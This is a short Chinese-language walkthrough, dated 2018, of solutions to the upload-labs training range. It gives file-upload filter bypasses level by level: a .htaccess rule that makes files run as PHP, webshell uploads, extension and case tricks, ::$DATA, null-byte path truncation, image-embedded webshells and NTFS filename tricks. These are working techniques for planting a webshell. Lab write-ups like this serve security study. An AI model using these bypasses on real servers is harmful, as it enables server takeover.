上传靶场记录

link https://github.com/c0ny1/upload-labs

Pass-04


首先上传 .htaccess 文件,文件内容, 这里</FilesMatch>闭合标签必须换行,不能挨着SetHandler application/x-httpd-php

<FilesMatch "ht"> 
SetHandler application/x-httpd-php
</FilesMatch>

win10 创建 .htaccess 文件,名字不能为空,可以在文本里另存为,名字 “.htaccess” 用引号裹起来.

再上传 名字有 ht 的文件,比如 ht,内容为一句话马,c刀连接即可。

Pass-05


大小写

Pass-06


Content-Disposition: form-data; name="upload_file"; filename="1.php "

文件命名加空格

Pass-07


文件名最后加点.

Pass-08


文件名加 ::$DATA

Pass-09


文件名为 1.php. . 两点之间有空格

Pass-10


文件名为 pphphp

Pass-11


需要关闭 magic_quotes_gpc

请求行改为

POST /upload-labs/Pass-11/index.php?save_path=../upload/1.php%00 HTTP/1.1

文件名

Content-Disposition: form-data; name=”upload_file”; filename=”1.jpg”

Pass-12


这个在 12.php 后加空格用 burp 在 post data hex 中把 20 改为 00

Content-Disposition: form-data; name="save_path"

../upload/12.php
--------------------------
Content-Disposition: form-data; name="upload_file"; filename="1.jpg"

Pass-13


copy 2.png/b + 1.txt 3.png 生成图片马,图片位置和 txt 位置必须先图片后 txt, 在实战中,上传路径得抓包或直接F12,配合着解析漏洞或 htaccess 等解析

Pass-17


上传名字改为

Content-Disposition: form-data; name=”upload_file”; filename=”1.php:.jpg”

上传一个空文件 1.php

再上传名字改为 1.<<<

Content-Disposition: form-data; name="upload_file"; filename="1.<<<"

其中 < 代表 * 任意字符,且可以覆盖文件内容

Pass-18


同上

总结


一般上传突破方法https://tom0li.github.io/bypass-upload/

其他思路是上传 html 类文件导致 xss csrf 的利用,doc 等 win office 的 RCE , 配合包含漏洞,解析问题,php_cgi, htaccess 解析 , 上传gif文件并用src属性引用导致的xss

Written on June 5, 2018